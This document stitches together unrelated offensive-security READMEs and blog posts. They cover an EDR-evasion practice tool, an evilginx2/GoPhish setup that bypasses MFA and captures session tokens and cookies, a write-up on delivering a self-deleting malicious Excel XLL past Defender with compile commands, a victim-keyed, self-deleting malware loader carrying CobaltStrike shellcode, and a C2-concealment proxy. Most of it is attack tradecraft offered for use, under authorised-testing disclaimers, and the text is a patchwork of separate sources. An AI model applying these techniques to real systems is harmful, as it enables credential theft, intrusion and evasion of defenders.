CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
Detection | Description |
---|---|
Direct Syscall | Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks. |
NTDLL Unhooking | Identifies attempts to unhook functions within the NTDLL library, a common evasion technique. |
AMSI Patch | Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis. |
ETW Patch | Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection. |
PE Stomping | Identifies instances of PE (Portable Executable) stomping. |
Reflective PE Loading | Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis. |
Unbacked Thread Origin | Identifies threads originating from unbacked memory regions, often indicative of malicious activity. |
Unbacked Thread Start Address | Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection. |
API hooking | Places a hook on the NtWriteVirtualMemory function to monitor memory modifications. |
Custom Pattern Search | Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures. |
To get started with CrimsonEDR, follow these steps:
bash sudo apt-get install gcc-mingw-w64-x86-64
bash git clone https://github.com/Helixo32/CrimsonEDR
bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
To use CrimsonEDR, follow these steps:
ioc.json
file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\
, the DLL will look for ioc.json
in C:\Users\admin\ioc.json
. Currently, ioc.json
contains patterns related to msfvenom
. You can easily add your own in the following format:{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
Execute CrimsonEDRPanel.exe
with the following arguments:
-d <path_to_dll>
: Specifies the path to the CrimsonEDR.dll
file.
-p <process_id>
: Specifies the Process ID (PID) of the target process where you want to inject the DLL.
For example:
.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234
Here are some useful resources that helped in the development of this project:
For questions, feedback, or support, please reach out to me via:
Combination of evilginx2 and GoPhish.
Before I begin, I would like to say that I am in no way bashing Kuba Gretzky and his work. I thank him personally for releasing evilginx2 to the public. In fact, without his work this work would not exist. I must also thank Jordan Wright for developing/maintaining the incredible GoPhish toolkit.
You should have a fundamental understanding of how to use GoPhish
, evilginx2
, and Apache2
.
I shall not be responsible or liable for any misuse or illegitimate use of this software. This software is only to be used in authorized penetration testing or red team engagements where the operator(s) has(ve) been given explicit written permission to carry out social engineering.
As a penetration tester or red teamer, you may have heard of evilginx2
as a proxy man-in-the-middle framework capable of bypassing two-factor/multi-factor authentication
. This is enticing to us to say the least, but when trying to use it for social engineering engagements, there are some issues off the bat. I will highlight the two main problems that have been addressed with this project, although some other bugs have been fixed in this version which I will highlight later.
evilginx2
does not provide unique tracking statistics per victim (e.g. opened email, clicked link, etc.), this is problematic for clients who want/need/pay for these statistics when signing up for a social engineering engagement.evilginx2
bases a lot of logic off of remote IP address and will whitelist an IP for 10 minutes after the victim triggers a lure path. evilginx2
will then skip creating a new session for the IP address if it triggers the lure path again (if still in the 10 minute window). This presents issues for us if our victims are behind a firewall all sharing the same public IP address, as the same session within evilginx2
will continue to overwrite with multiple victim's data, leading to missed and lost data. This also presents an issue for our proxy setup, since localhost
is the only IP address requesting evilginx2
.In this setup, GoPhish
is used to send emails and provide a dashboard for evilginx2
campaign statistics, but it is not used for any landing pages. Your phishing links sent from GoPhish
will point to an evilginx2
lure path and evilginx2
will be used for landing pages. This provides the ability to still bypass 2FA/MFA
with evilginx2
, without losing those precious stats. Apache2
is simply used as a proxy to the local evilginx2
server and an additional hardening layer for your phishing infrastructure. Realtime campaign event notifications have been provided with a local websocket/http server I have developed and full usable JSON
strings containing tokens/cookies from evilginx2
are displayed directly in the GoPhish
GUI (and feed):
evilginx2
will listen locally on port 8443
GoPhish
will listen locally on port 8080
and 3333
Apache2
will listen on port 443
externally and proxy to local evilginx2
server Apache2
layer based on redirect rules and IP blacklist configuration evilginx2
if a request hits the evilginx2
serversetup.sh
has been provided to automate the needed configurations for you. Once this script is run and you've fed it the right values, you should be ready to get started. Below is the setup help (note that certificate setup is based on letsencrypt
filenames):
In case you ran setup.sh
once and already replaced the default RId
value throughout the project, replace_rid.sh
was created to replace the RId
value again.
Usage:
./replace_rid <previous rid> <new rid>
- previous rid - the previous rid value that was replaced
- new rid - the new rid value to replace the previous
Example:
./replace_rid.sh user_id client_id
Once setup.sh
is run, the next steps are:
GoPhish
and configure email template, email sending profile, and groupsevilginx2
and configure phishlet and lure (must specify full path to GoPhish
sqlite3
database with -g
flag)Apache2
server is startedGoPhish
and make the landing URL your lure path for evilginx2
phishletAn entire reworking of GoPhish
was performed in order to provide SMS
campaign support with Twilio
. Your new evilgophish
dashboard will look like below:
Once you have run setup.sh
, the next steps are:
SMS
message template. You will use Text
only when creating a SMS
message template, and you should not include a tracking link as it will appear in the SMS
message. Leave Envelope Sender
and Subject
blank like below:SMS Sending Profile
. Enter your phone number from Twilio
, Account SID
, Auth Token
, and delay in between messages into the SMS Sending Profiles
page:CSV
template values have been kept the same for compatibility, so keep the CSV
column names the same and place your target phone numbers into the Email
column. Note that Twilio
accepts the following phone number formats, so they must be in one of these three:evilginx2
and configure phishlet and lure (must specify full path to GoPhish
sqlite3
database with -g
flag)Apache2
server is startedGoPhish
and make the landing URL your lure path for evilginx2
phishletRealtime campaign event notifications are handled by a local websocket/http server and live feed app. To get setup:
Select true
for feed bool
when running setup.sh
cd
into the evilfeed
directory and start the app with ./evilfeed
When starting evilginx2
, supply the -feed
flag to enable the feed. For example:
./evilginx2 -feed -g /opt/evilgophish/gophish/gophish.db
http://localhost:1337/
. The feed dashboard will look like below:IMPORTANT NOTES
JavaScript
and you DO NOT need to refresh the page. If you refresh the page, you will LOSE all events up to that point.Included in the evilginx2/phishlets
folder are three custom phishlets not included in evilginx2.
o3652
- modified/updated version of the original o365
(stolen from Optiv blog)google
- updated from previous examples online (has issues, don't use in live campaigns)knowbe4
- custom (don't have access to an account for testing auth URL, works for single-factor campaigns, have not fully tested MFA)I feel like the world has been lacking some good phishlet examples lately. It would be great if this repository could be a central repository for the latest phishlets. Send me your phishlets at fin3ss3g0d@pm.me
for a chance to end up in evilginx2/phishlets
. If you provide quality work, I will create a Phishlets Hall of Fame
and you will be added to it.
JSON
requestsmime
type was failed to be retrieved from responsesX
headers relating to evilginx2
have been removed throughout the code (to remove IOCs)X
headers relating to GoPhish
have been removed throughout the code (to remove IOCs).html
file named 404.html
in templates
folder (example has been provided)rid
string in phishing URLs is chosen by the operator in setup.sh
SMS
Campaign SupportSee the CHANGELOG.md
file for changes made since the initial release.
I am taking the same stance as Kuba Gretzky and will not help creating phishlets. There are plenty of examples of working phishlets and for you to create your own, if you open an issue for a phishlet it will be closed. I will also not consider issues with your Apache2
, DNS
, or certificate setup as legitimate issues and they will be closed. However, if you encounter a legitimate failure/error with the program, I will take the issue seriously.
I would like to see this project improve and grow over time. If you have improvement ideas, new redirect rules, new IP addresses/blocks to blacklist, phishlets, or suggestions, please email me at: fin3ss3g0d@pm.me
or open a pull request.
With Microsoft's recent announcement regarding the blocking of macros in documents originating from the internet (email AND web download), attackers have began aggressively exploring other options to achieve user driven access (UDA). There are several considerations to be weighed and balanced when looking for a viable phishing for access method:
These are the major questions, however there are certainly more. Things get more complex as you realize that these factors compound each other; for example, if a client has a web proxy that prohibits the download of executables or DLL's, you may need to stick your payload inside a container (ZIP, ISO, etc). Doing so can present further issues down the road when it comes to detection. More robust defenses require more complex combinations of techniques to defeat.
This article will be written with a fictional target organization in mind; this organization has employed several defensive measures including email filtering rules, blacklisting certain file types from being downloaded, application whitelisting on endpoints, and Microsoft Defender for Endpoint as an EDR solution.
Real organizations may employ none of these, some, or even more defenses which can simplify or complicate the techniques outlined in this research. As always, know your target.
XLL's are DLL's, specifically crafted for Microsoft Excel. To the untrained eye they look a lot like normal excel documents.
XLL's provide a very attractive option for UDA given that they are executed by Microsoft Excel, a very commonly encountered software in client networks; as an additional bonus, because they are executed by Excel, our payload will almost assuredly bypass Application Whitelisting rules because a trusted application (Excel) is executing it. XLL's can be written in C, C++, or C# which provides a great deal more flexibility and power (and sanity) than VBA macros which further makes them a desirable choice.
The downside of course is that there are very few legitimate uses for XLL's, so it SHOULD be a very easy box to check for organizations to block the download of that file extension through both email and web download. Sadly many organizations are years behind the curve and as such XLL's stand to be a viable method of phishing for some time.
There are a series of different events that can be used to execute code within an XLL, the most notable of which is xlAutoOpen. The full list may be seen here:
Upon double clicking an XLL, the user is greeted by this screen:
This single dialog box is all that stands between the user and code execution; with fairly thin social engineering, code execution is all but assured.
Something that must be kept in mind is that XLL's, being executables, are architecture specific. This means that you must know your target; the version of Microsoft Office/Excel that the target organization utilizes will (usually) dictate what architecture you need to build your payload for.
There is a pretty clean break in Office versions that can be used as a rule of thumb:
Office 2016 or earlier: x86
Office 2019 or later: x64
It should be noted that it is possible to install the other architecture for each product, however these are the default architectures installed and in most cases this should be a reliable way to make a decision about which architecture to roll your XLL for. Of course depending on the delivery method and pretexting used as part of the phishing campaign, it is possible to provide both versions and rely on the victim to select the appropriate version for their system.
The XLL payload that was built during this research was based on this project by edparcell. His repository has good instructions on getting started with XLL's in Visual Studio, and I used his code as a starting point to develop a malicious XLL file.
A notable deviation from his repository is that should you wish to create your own XLL project, you will need to download the latest Excel SDK and then follow the instructions on the previously linked repo using this version as opposed to the 2010 version of the SDK mentioned in the README.
Delivery of the payload is a serious consideration in context of UDA. There are two primary methods we will focus on:
Either via attaching a file or including a link to a website where a file may be downloaded, email is a critical part of the UDA process. Over the years many organizations (and email providers) have matured and enforced rules to protect users and organizations from malicious attachments. Mileage will vary, but organizations now have the capability to:
Fuzzing an organization's email rules can be an important part of an engagement, however care must always be taken so as to not tip one's hand that a Red Team operation is ongoing and that information is actively being gathered.
For the purposes of this article, it will be assumed that the target organization has robust email attachment rules that prevent the delivery of an XLL payload. We will pivot and look at web delivery.
Email will still be used in this attack vector, however rather than sending an attachment it will be used to send a link to a website. Web proxy rules and network mitigations controlling allowed file download types can differ from those enforced in regards to email attachments. For the purposes of this article, it is assumed that the organization prevents the download of executable files (MZ headers) from the web. This being the case, it is worth exploring packers/containers.
The premise is that we might be able to stick our executable inside another file type and smuggle it past the organization's policies. A major consideration here is native support for the file type; 7Z files for example cannot be opened by Windows without installing third party software, so they are not a great choice. Formats like ZIP, ISO, and IMG are attractive choices because they are supported natively by Windows, and as an added bonus they add very few extra steps for the victim.
The organization unfortunately blocks ISO's and IMG's from being downloaded from the web; additionally, because they employ Data Loss Prevention (DLP) users are unable to mount external storage devices, which ISO's and IMG's are considered.
Luckily for us, even though the organization prevents the download of MZ-headered files, it does allow the download of zip files containing executables. These zip files are actively scanned for malware, to include prompting the user for the password for password-protected zip files; however because the executable is zipped it is not blocked by the otherwise blanket deny for MZ files.
Zip files were chosen as a container for our XLL payload because:
Conveniently, double clicking a ZIP file on Windows will open that zip file in File Explorer:
ย
Less conveniently, double clicking the XLL file from the zipped location triggers Windows Defender; even using the stock project from edparcell that doesn't contain any kind of malicious code.
ย
Looking at the Windows Defender alert we see it is just a generic "Wacatac" alert:
However there is something odd; the file it identified as malicious was in c:\users\user\Appdata\Local\Temp\Temp1_ZippedXLL.zip, not C:\users\user\Downloads\ZippedXLL\ where we double clicked it. Looking at the Excel instance in ProcessExplorer shows that Excel is actually running the XLL from appdata\local\temp, not from the ZIP file that it came in:
ย
This appears to be a wrinkle associated with ZIP files, not XLL's. Opening a TXT file from within a zip using notepad also results in the TXT file being copied to appdata\local\temp and opened from there. While opening a text file from this location is fine, Defender seems to identify any sort of actual code execution in this location as malicious.
If a user were to extract the XLL from the ZIP file and then run it, it will execute without any issue; however there is no way to guarantee that a user does this, and we really can't roll the dice on popping AV/EDR should they not extract it. Besides, double clicking the ZIP and then double clicking the XLL is far simpler and a victim is far more prone to complete those simple actions than go to the trouble of extracting the ZIP.
This problem caused me to begin considering a different payload type than XLL; I began exploring VSTO's, which are Visual Studio Templates for Office. I highly encourage you to check out that article.
VSTO's ultimately call a DLL which can either be located locally with the .XLSX that initiates everything, or hosted remotely and downloaded by the .XLSX via http/https. The local option provides no real advantages (and in fact several disadvantages in that there are several more files associated with a VSTO attack), and the remote option unfortunately requires a code signing certificate or for the remote location to be a trusted network. Not having a valid code signing cert, VSTO's do not mitigate any of the issues in this scenario that our XLL payload is running into.
We really seem to be backed into a corner here. Running the XLL itself is fine, however the XLL cannot be delivered by itself to the victim either via email attachment or web download due to organization policy. The XLL needs to be packaged inside a container, however due to DLP formats like ISO, IMG, and VHD are not viable. The victim needs to be able to open the container natively without any third party software, which really leaves ZIP as the option; however as discussed, running the XLL from a zipped folder results in it being copied and ran from appdata\local\temp which flags AV.
I spent many hours brain storming and testing things, going down the VSTO rabbit hole, exploring all conceivable options until I finally decided to try something so dumb it just might work.
This time I created a folder, placed the XLL inside it, and then zipped the folder:
ย
Clicking into the folder reveals the XLL file:
Double clicking the XLL shows the Add-In prompt from Excel. Note that the XLL is still copied to appdata\local\temp, however there is an additional layer due to the extra folder that we created:
ย
Clicking enable executes our code without flagging Defender:
Nice! Code execution. Now what?
The pretexting involved in getting a victim to download and execute the XLL will vary wildly based on the organization and delivery method; themes might include employee salary data, calculators for compensation based on skillset, information on a project, an attendee roster for an event, etc. Whatever the lure, our attack will be a lot more effective if we actually provide the victim with what they have been promised. Without follow through, victims may become suspicious and report the document to their security teams which can quickly give the attacker away and curtail access to the target system.
The XLL by itself will just leave a blank Excel window after our code is done executing; it would be much better for us to provide the Excel Spreadsheet that the victim is looking for.
We can embed our XLSX as a byte array inside the XLL; when the XLL executes, it will drop the XLSX to disk beside the XLL after which it will be opened. We will name the XLSX the same as the XLL, the only difference being the extension.
Given that our XLL is written in C, we can bring in some of the capabilities from a previous writeup I did on Payload Capabilities in C, namely Self-Deletion. Combining these two techniques results in the XLL being deleted from disk, and the XLSX of the same name being dropped in it's place. To the undiscerning eye, it will appear that the XLSX was there the entire time.
Unfortunately the location where the XLL is deleted and the XLSX dropped is the appdata\temp\local folder, not the original ZIP; to address this we can create a second ZIP containing the XLSX alone and also read it into a byte array within the XLL. On execution in addition to the aforementioned actions, the XLL could try and locate the original ZIP file in c:\users\victim\Downloads\ and delete it before dropping the second ZIP containing just the XLSX in it's place. This could of course fail if the user saved the original ZIP in a different location or under a different name, however in many/most cases it should drop in the user's downloads folder automatically.
This screenshot shows in the lower pane the temp folder created in appdata\local\temp containing the XLL and the dropped XLSX, while the top pane shows the original File Explorer window from which the XLL was opened. Notice in the lower pane that the XLL has size 0. This is because it deleted itself during execution, however until the top pane is closed the XLL file will not completely disappear from the appdata\local\temp location. Even if the victim were to click the XLL again, it is now inert and does not really exist.
Similarly, as soon as the victim backs out of the opened ZIP in File Explorer (either by closing it or navigating to a different folder), should they click spreadsheet.zip again they will now find that the test folder contains importantdoc.xlsx; so the XLL has been removed and replaced by the harmless XLSX in both locations that it existed on disk.
This GIF demonstrates the download and execution of the XLL on an MDE trial VM. Note that for some reason Excel opens two instances here; on my home computer it only opened one, so not quite sure why that differs.
As always, we will ask "What does MDE see?"
A quick screenshot dump to prove that I did execute this on target and catch a beacon back on TestMachine11:
First off, zero alerts:
What does the timeline/event log capture?
Yikes. Truth be told I have no idea where the keylogging, encrypting, and decrypting credentials alerts are coming from as my code doesn't do any of that. Our actions sure look suspicious when laid out like this, but I will again comment on just how much data is collected by MDE on a single endpoint, let alone hundreds, thousands, or hundreds of thousands that an organization may have hooked into the EDR. So long as we aren't throwing any actual alerts, we are probably ok.
The moment most have probably been waiting for, I am providing a code sample of my developed XLL runner, limited to just those parts discussed here in the Tradecraft section. It will be on the reader to actually get the code into an XLL and implement it in conjunction with the rest of their runner. As always, do no harm, have permission to phish an organization, etc.
I have included the source code for a program that will ingest a file and produce hex which can be copied into the byte arrays defined in the snippet. Use this on the the XLSX you wish to present to the user, as well as the ZIP file containing the folder which contains that same XLSX and store them in their respective byte arrays. Compile this code using:
gcc -o ingestfile ingestfile.c
I had some issues getting my XLL's to compile using MingW on a kali machine so thought I would post the commands here:
x64
x86_64-w64-mingw32-gcc snippet.c 2013_Office_System_Developer_Resources/Excel2013XLLSDK/LIB/x64/XLCALL32.LIB -o importantdoc.xll -s -Os -DUNICODE -shared -I 2013_Office_System_Developer_Resources/Excel2013XLLSDK/INCLUDE/
x86
i686-w64-mingw32-gcc snippet.c 2013_Office_System_Developer_Resources/Excel2013XLLSDK/LIB/XLCALL32.LIB -o HelloWorldXll.xll -s -DUNICODE -Os -shared -I 2013_Office_System_Developer_Resources/Excel2013XLLSDK/INCLUDE/
After you compile you will want to make a new folder and copy the XLL into that folder. Then zip it using:
zip -r <myzipname>.zip <foldername>/
Note that in order for the tradecraft outlined in this post to work, you are going to need to match some variables in the code snippet to what you name the XLL and the zip file.
With the dominance of Office Macro's coming to a close, XLL's present an attractive option for phishing campaigns. With some creativity they can be used in conjunction with other techniques to bypass many layers of defenses implemented by organizations and security teams. Thank you for reading and I hope you learned something useful!
The work that follows is a POC to enable malware to "key" itself to a particular victim in order to frustrate efforts of malware analysts.
I assume no responsibility for malicious use of any ideas or code contained within this project. I provide this research to further educate infosec professionals and provide additional training/food for thought for Malware Analysts, Reverse Engineers, and Blue Teamers at large.
The first time the malware runs on a victim it AES encrypts the actual payload(an RDLL) using environmental data from that victim. Each subsequent time the malware is ran it gathers that same environmental info, AES decrypts the payload stored as a byte array within the malware, and runs it. If it fails to decrypt/the payload fails to run, the malware deletes itself. Protection against reverse engineers and malware analysts.
I didn't feel finished with this project so I went back and did a fairly substantial re-write. The original research and tradecraft may be found Here.
Major changes are as follows:
There are quite a few different things that could be taken from the source code of this project for use elsewhere. Hopefully it will be useful for someone.
There were a few shortcomings with the original release of BeatRev that I decided to try and address.
Stage2 was previously a standalone executable that was stored as the alternate data stream(ADS) of Stage1. In order to acheive the AES encryption-by-victim and subsequent decryption and execution, each time Stage1 was ran it would read the ADS, decrypt it, write back to the ADS, call CreateProcess, and then re-encrypt Stage2 and write it back to disk in the ADS. This was a lot of I/O operations and the CreateProcess call of course wasn't great.
I happened to come upon Steven Fewer's research concerning Reflective DLL's and it seemed like a good fit. Stage2 is now an RDLL; our malware/shellcode runner/whatever we want to protect can be ported to RDLL format and stored as a byte array within Stage1 that is then decrypted on runtime and executed by Stage1. This removes all of the I/O operations and the CreateProcess call from Version1 and is a welcome change.
Stage1 did not have any real kind of AV evasion measures programmed in; this was intentional, as it is extra work and wasn't really the point of this research. During the re-write I took it as an added challenge and added API-hashing to remove functions from the Import Address Table of Stage1. This has helped with detection and Stage1 has a 4/66 detection rate on VirusTotal. I was comfortable uploading Stage1 given that is is already keyed to the original box it was ran on and the file signature constantly changes because of the AES encryption that happens.
I recently started paying attention to entropy as a means to detect malware; to try and lower the otherwise very high entropy that a giant AES encrypted binary blob gives an executable I looked into integrating shellcode stored as UUID's. Because the binary is stored in string representation, there is lower overall entropy in the executable. Using this technique The entropy of Stage0 is now ~6.8 and Stage1 ~4.5 (on a max scale of 8).
Finally it is a giant chore to integrate and produce a complete Stage0 due to all of the pieces that must be manipulated. To make this easier I made a builder application that will ingest a Stage0.c template file, a Stage1 stub, a Stage2 stub, and a raw shellcode file (this was build around Stage2 being a shellcode runner containing CobaltStrike shellcode) and produce a compiled Stage0 payload for use on target.
The Reflective DLL code from Stephen Fewer contains some Visual Studio compiler-specific instructions; I'm sure it is possible to port the technique over to MingW but I do not have the skills to do so. The main problem here is that the CobaltStrike shellcode (stageless is ~265K) needs to go inside the RDLL and be compiled. To get around this and integrate it nicely with the rest of the process I wrote my Stage2 RDLL to contain a global variable chunk of memory that is the size of the CS shellcode; this ~265K chunk of memory has a small placeholder in it that can be located in the compiled binary. The code in src/Stage2 has this added already.
Once compiled, this Stage2stub is transfered to kali where a binary patch may be performed to stick the real CS shellcode into the place in memory that it belongs. This produces the complete Stage2.
To avoid the I/O and CreateProcess fiasco previously described, the complete Stage2 must also be patched into the compiled Stage1 by Stage0; this is necessary in order to allow Stage2 to be encrypted once on-target in addition to preventing Stage2 from being stored separately on disk. The same concept previously described for Stage2 is conducted by Stage0 on target in order to assemble the final Stage1 payload. It should be noted that the memmem function is used in order to locate the placeholder within each stub; this function is no available on Windows, so a custom implementation was used. Thanks to Foxik384 for his code.
In order to perform a binary patch, we must allocate the required memory up front; this has a compounding effect, as Stage1 must now be big enough to also contain Stage2. With the added step of converting Stage2 to a UUID string, Stage2 balloons in size as does Stage1 in order to hold it. A stage2 RDLL with a compiled size of ~290K results in a Stage0 payload of ~1.38M, and a Stage1 payload of ~700K.
The builder application only supports creating x64 EXE's. However with a little more work in theory you could make Stage0 a DLL, as well as Stage1, and have the whole lifecycle exist as a DLL hijack instead of a standalone executable.
These instructions will get you on your way to using this POC.
About 6 months ago it occured to me that while I had learned and done a lot with malware concerning AV/EDR evasion, I had spent very little time concerned with trying to evade or defeat reverse engineering/malware analysis. This was for a few good reasons:
Nonetheless it was an interesting thought experiment and I had a few colleagues who DO know about malware analysis that I could bounce ideas off of. It seemed a challenge of a whole different magnitude compared to AV/EDR evasion and one I decided to take a stab at.
My initial premise was that the malware, on the first time of being ran, would somehow "key" itself to that victim machine; any subsequent attempts to run it would evaluate something in the target environment and compare it for a match in the malware. If those two factors matched, it executes as expected. If they do not (as in the case where the sample had been transfered to a malware analysts sandbox), the malware deletes itself (Once again heavily leaning on the work of LloydLabs and his delete-self-poc).
This "key" must be something "unique" to the victim computer. Ideally it will be a combination of several pieces of information, and then further obfuscated. As an example, we could gather the hostname of the computer as well as the amount of RAM installed; these two values can then be concatenated (e.g. Client018192MB) and then hashed using a user-defined function to produce a number (e.g. 5343823956).
There are a ton of choices in what information to gather, but thought should be given as to what values a Blue Teamer could easily spoof; a MAC address for example may seem like an attractive "unique" identifier for a victim, however MAC addresses can easily be set manually in order for a Reverse Engineer to match their sandbox to the original victim. Ideally the values chosen and enumerated will be one that are difficult for a reverse engineer to replicate in their environment.
With some self-deletion magic, the malware could read itself into a buffer, locate a placeholder variable and replace it with this number, delete itself, and then write the modified malware back to disk in the same location. Combined with an if/else statement in Main, the next time the malware runs it will detect that it has been ran previously and then go gather the hostname and amount of RAM again in order to produce the hashed number. This would then be evaluated against the number stored in the malware during the first run (5343823956). If it matches (as is the case if the malware is running on the same machine as it originally did), it executes as expected however if a different value is returned it will again call the self-delete function in order to remove itself from disk and protect the author from the malware analyst.
This seemed like a fine idea in theory until I spoke with a colleague who has real malware analysis and reverse engineering experience. I was told that a reverse engineer would be able to observe the conditional statement in the malware (if ValueFromFirstRun != GetHostnameAndRAM()), and seeing as the expected value is hard-coded on one side of the conditional statement, simply modify the registers to contain the expected value thus completely bypassing the entire protection mechanism.
This new knowledge completely derailed the thought experiment and seeing as I didn't really have a use for a capability like this in the first place, this is where the project stopped for ~6 months.
This project resurfaced a few times over the intervening 6 months but each time was little more than a passing thought, as I had gained no new knowledge of reversing/malware analysis and again had no need for such a capability. A few days ago the idea rose again and while still neither of those factors have really changed, I guess I had a little bit more knowledge under my belt and couldn't let go of the idea this time.
With the aforementioned problem regarding hard-coding values in mind, I ultimately decided to go for a multi-stage design. I will refer to them as Stage0, Stage1, and Stage2.
Stage0: Setup. Ran on initial infection and deleted afterwards
Stage1: Runner. Ran each subsequent time the malware executes
Stage2: Payload. The malware you care about protecting. Spawns a process and injects shellcode in order to return a Beacon.
Stage0 is the fresh executable delivered to target by the attacker. It contains Stage1 and Stage2 as AES encrypted byte arrays; this is done to protect the malware in transit, or should a defender somehow get their hands on a copy of Stage0 (which shouldn't happen). The AES Key and IV are contained within Stage0 so in reality this won't protect Stage1 or Stage2 from a competent Blue Teamer.
Stage0 performs the following actions:
At the conclusion of this sequence of events, Stage0 exits. Because it was deleted from disk in step 2 and is no longer running in memory, Stage0 is effectively gone; Without prior knowledge of this technique the rest of the malware lifecycle will be a whole lot more confusing than it already is.
In step 4 the processor name and Microsoft ProductID are gathered; the ProductID is retreived from the Registry, and this value can be manually modified which presents and easy opportunity for a Blue Teamer to match their sandbox to the target environment. Depending on what environmental information is gathered this can become easier or more difficult.
Stage1 was dropped by Stage0 and exists in the same exact location as Stage0 did (to include the name). Stage2 is stored as an ADS of Stage1. When the attacker/persistence subsequently executes the malware, they are executing Stage1.
Stage1 performs the following actions:
Note that Stage2 MUST exit in order for it to be overwritten; the self-deletion trick does not appear to work on files that are already ADS's, as the self-deletion technique relies on renaming the primary data stream of the executable. Stage2 will ideally be an inject or spawn+inject executable.
There are two points that Stage1 could detect that it is not being ran from the same victim and delete itself/Stage2 in order to protect the threat actor. The first is the check for the executable header after decrypting Stage2 using the gathered environmental information; in theory this step could be bypassed by a reverse engineer, but it is a first good check. The second protection point is the result of the CreateProcess call- if it fails because Stage2 was not properly decrypted, the malware is similiary deleted. The result of this call could also be modified to prevent deletion by the reverse engineer, however this doesn't change the fact that Stage2 is encrypted and inaccessible.
Stage2 is the meat and potatoes of the malware chain; It is a fully fledged shellcode runner/piece of malware itself. By encrypting and protecting it in the way that we have, the actions of the end state malware are much better obfuscated and protected from reverse engineers and malware analysts. During development I used one of my existing shellcode runners containing CobaltStrike shellcode, but this could be anything the attacker wants to run and protect.
So what is actually accomplished with a malware lifecycle like this? There are a few interesting quirks to talk about.
Alternate data streams are a feature unique to NTFS file systems; this means that most ways of transfering the malware after initial infection will strip and lose Stage2 because it is an ADS of Stage1. Special care would have to be given in order to transfer the sample in order to preserve Stage2, as without it a lot of reverse engineers and malware analysts are going to be very confused as to what is happening. RAR archives are able to preserve ADS's and tools like 7Z and Peazip can extract files and their ADS's.
As previously mentioned, by the time malware using this lifecycle hits a Blue Teamer it should be at Stage1; Stage0 has come and gone, and Stage2 is already encrypted with the environmental information gathered by stage 0. Not knowing that Stage0 even existed will add considerable uncertainty to understanding the lifecycle and decrypting Stage2.
In theory (because again I have no reversing experience), Stage1 should be able to be reversed (after the Blue Teamers rolls through a few copies of it because it keeps deleting itself) and the information that Stage1 gathers from the target system should be able to be identified. Provided a well-orchestrated response, Blue Team should be able to identify the victim that the malware came from and go and gather that information from it and feed it into the program so that it may be transformed appropriately into the AES Key/IV that decrypts Stage2. There are a lot "ifs" in there however related to the relative skill of the reverse engineer as well as the victim machine being available for that information to be recovered.
Application Whitelisting would significantly frustrate this lifecycle. Stage0/Stage1 may be able to be side loaded as a DLL, however I suspect that Stage2 as an ADS would present some issues. I do not have an environment to test malware against AWL nor have I bothered porting this all to DLL format so I cannot say. I am sure there are creative ways around these issues.
I am also fairly confident that there are smarter ways to run Stage2 than dropping to disk and calling CreateProcess; Either manually mapping the executable or using a tool like Donut to turn it into shellcode seem like reasonable ideas.
During development I created a Builder application that Stage1 and Stage2 may be fed to in order to produce a functional Stage0; this will not be provided however I will be providing most of the source code for stage1 as it is the piece that would be most visible to a Blue Teamer. Stage0 will be excluded as an exercise for the reader, and stage2 is whatever standalone executable you want to run+protect. This POC may be further researched at the effort and discretion of able readers.
I will be providing a compiled copy of this malware as Dropper64.exe. Dropper64.exe is compiled for x64. Dropper64.exe is Stage0; it contains Stage1 and Stage2. On execution, Stage1 and Stage2 will drop to disk but will NOT automatically execute, you must run Dropper64.exe(now Stage1) again. Stage2 is an x64 version of calc.exe. I am including this for any Blue Teamers who want to take a look at this, but keep in mind in an incident response scenario 99& of the time you will be getting Stage1/Stage2, Stage0 will be gone.
This was an interesting pet project that ate up a long weekend. I'm sure it would be a lot more advanced/more complete if I had experience in a debugger and disassembler, but you do the best with what you have. I am eager to hear from Blue Teamers and other Malware Devs what they think. I am sure I have over-complicatedly re-invented the wheel here given what actual APT's are doing, but I learned a few things along the way. Thank you for reading!
RedGuard is a derivative work of the C2 facility pre-flow control technology. It has a lighter design, efficient flow interaction, and reliable compatibility with go language development. The core problem it solves is also in the face of increasingly complex red and blue attack and defense drills, giving the attack team a better C2 infrastructure concealment scheme, giving the interactive traffic of the C2 facility a flow control function, and intercepting those "malicious" analysis traffic, and better complete the entire attack mission.
RedGuard is a C2 facility pre-flow control tool that can avoid Blue Team, AVS, EDR, Cyberspace Search Engine checks.
You can directly download and use the compiled version, or you can download the go package remotely for independent compilation and execution.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags "-s -w" -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard&&./RedGuard
As shown in the figure below, first grant executable permissions to RedGuard and perform initialization operations. The first run will generate a configuration file in the current user directory to achieve flexible function configuration. Configuration file name: .RedGuard_CobaltStrike.ini.
Configuration file content:
The configuration options of cert are mainly for the configuration information of the HTTPS traffic exchange certificate between the sample and the C2 front-end facility. The proxy is mainly used to configure the control options in the reverse proxy traffic. The specific use will be explained in detail below.
